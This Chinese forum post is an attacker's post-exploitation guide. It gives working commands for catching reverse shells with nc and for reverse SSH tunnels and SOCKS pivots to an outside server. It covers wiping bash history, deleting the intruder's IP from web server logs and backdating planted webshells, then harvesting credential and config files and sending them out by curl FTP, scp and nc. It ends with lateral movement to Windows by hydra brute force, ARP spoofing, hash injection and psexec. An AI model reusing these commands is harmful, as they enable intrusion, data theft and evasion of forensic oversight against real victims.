阅读:2996回复:0
各种环境下的渗透测试
getshell:
找到切入点后,首先是要弹个shell,一般我用back.py 配合nc使用,nc监听端口就不说了。 back.py会自动去掉各种history记录,确保shell断掉的时候不会被记录到bash_history里面 ssh各种姿势 反弹内网端口: ssh有几个比较重要的参数: -f: 连接成功后切换到后台,不会占用当前的shell,shell断了也会继续执行,相当于 nohup和&。-N: 连接后不调用shell,用处后面讲。-R:把本地网络(可以是本机或者任何内网甚至外网端口)端口反弹到ssh服务器用法: 首先你要有个外网ip的ssh服务器,如果目标内网限制了访问端口,可以开到常见端口比如80或者443上面,可以直接改设置或者iptables映射一下。你需要有这个服务器的root权限。在sshd_config里面打开端口转发, AllowTcpForwarding yes 还有 Gateway Ports,如果之前没开的话改完需要重启一下sshd。 另外就是因为反弹端口需要让目标机器登录到你的ssh服务器,为了安全起见需要建立一个专门用来端口转发的用户,useradd随便建个用户,设置密码然后到/etc/passwd里面,把最后一个':'后面的shell位置改成/sbin/nologin或者/bin/false,这样即使对方记录了你的ssh密码也没法对你转发的服务器做什么(比如取证之类) -N的作用: 因为转发用的用户没有shell,如果没有-N的话会因为得不到shell而自动断开连接,-N可以避免这一点。 开始转发: ssh -fNR 要反弹到的端口:目标本机或者内外ip:要反弹的目标端口 转发专用用户名@你的ssh服务器ip 执行后会问你转发用户名的密码,输入成功后会自动切换到后台例子1: 本地转发: 目标机器上有个oracle端口在1521,但是只能从内网访问。提权提不上,没装sqlplus等工具,webshell数据库管理各种出错,不过翻到了登录用户名和密码。不过我自己的机器上装了个navicat for oracle⋯⋯ ssh服务器上的端口转发用户名叫forward,服务器ip是123.123.123.123 ssh -fNR 11521:127.0.0.1:1521 [email protected]注意:之所以开到11521端口是因为1024的端口。原理是先在本地开socks5,然后把本地socks5服务器的端口弹到远程服务器。 姿势: ssh -fND 127.0.0.1:8080 [email protected]这样会在本地8080端口开socks5代理,然后反弹 ssh -fNR 18080:127.0.0.1:8080 [email protected]这样可以把socks5代理弹到123.123.123.123的18080端口,可以用proxychains和其他支持socks5代理的工具最大限度的窥探内网 Linux下隐藏痕迹 通过其他方式得到shell的话,需要去掉histfile等环境变量: unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;登录ssh后管理员用w查看当前登录用户,所以有必要隐藏,推荐xi4oyu的logtamper 清除日志里指定内容: 日志必须是文本格式,而且你有权限读写⋯⋯ awk '!/pattern/' filename > temp && mv temp filename这个原理说白了就是去掉原文件里的指定内容然后生成新文件,再用新的覆盖旧的,弄完记得用chmod还原原来的属性. 例子: awk '!/123.123.123.123/' /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log去掉所有包含123.123.123.123的日志记录。 可以匹配多个关键词: awk '!/123.123.123.123|111.111.111.111|phpspy.php/' /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log修改文件访问|创建|修改时间: touch -amt 200901231532 文件名改成2009年1月23号15点32分 批量修改时间: 比如你在一个文件夹改了很多php插了一堆一句话: ls|xargs touch -amt 200901231532把当前目录所有文件时间都改了 信息搜集: find / ! -path "/usr/share/*" -regex ".*.sh$|.*.pl$|.*.py$|.*.conf$|.*.cnf$|.*.ini$|.*/..*history$|.*/..*pass.*$|.*secret$" -print|zip pack.zip -@打包各种脚本和配置文件还有history日志。 有的环境下zip需要一些参数才能用,请自行修改 在/var/www搜集全部 conf.php然后打包 find /var/www -name '*conf*.php' -print | zip config.zip -@找包含特定内容的文件并且那一行显示出来: grep -RPa --include=*.php ’($PATTERNS)‘ $SEARCH_DIR比如在web目录找包含password这个词的所有php grep -RPa --include=*.php 'password' /var/wwwpattern可以用正则,可以不指定文件类型(很慢⋯⋯) 文件传送: 找到需要的东西后,怎么往外发也是个问题,一般大文件用ftp,scp,小文件用nc。 ftp方法: 如果目标装了curl的话就很简单了 curl -v -T 文件名 ftp://username:password@ftpipscp方法: 适合有ids之类东西的地方,可以把sshd开到443等传统加密流量的接口,scp帐号需要有写入和执行shell的权限 scp backup.tgz [email protected]:/tmp/backup.tgznc方法: 先在服务端监听 nc -l port > 文件名然后到要发送文件的服务器 nc 服务端ip 端口 < 文件名发送小文件还行,大文件有时候会断。 从linux到windows 有些时候你拿了linux服务器的shell,想跨到windows的机器上,基本就是通过两个手段,一个是针对windows的服务进行exploit溢出,还有就是利用在linux上搜集的用户名和密码然后通过psexec放shell。 首先要确定windows主机的位置和打开的服务,在内网扫开445和3389的机器,基本是windows了,扫的时候要注意,不管用什么工具,尽量用socket connect的方式扫。像SYN 方式扫描如果内网有ids之类肯定会被发现,connect方式扫描相对来说和正常连接差不多。 扫到windows机器列表后,准备好刚才在linux下收集的各种用户名和密码,还有一些常见的弱密码,生成密码字典和用户名字典,字典里再加上一些windows本身的用户名,比如administrator。 尝试密码的话直接在linux下用hydra,破解smb密码,运气好的话,只要扫出一个,就能用psexec getshell了。运气不好就剩下溢出这一条路了。如果溢出都不行,windows主机和linux在同一个网段的话,还可以试试通过arp spoof抓smb认证包,然后把hash弄出来破解或者注入hash,但是动静会比较大,不到最后不建议使用。 psexec: 有几种选择,metasploit里面auxiliary里面的psexec模块,可以直接放个msf的reverse paylaod上去。另外可以把windows的服务器的445端口反弹出来,再找个windows的机器用psexec。还有就是直接在内网的linux机器上用python的psexec,https://code.google.com/p/impacket/ |
|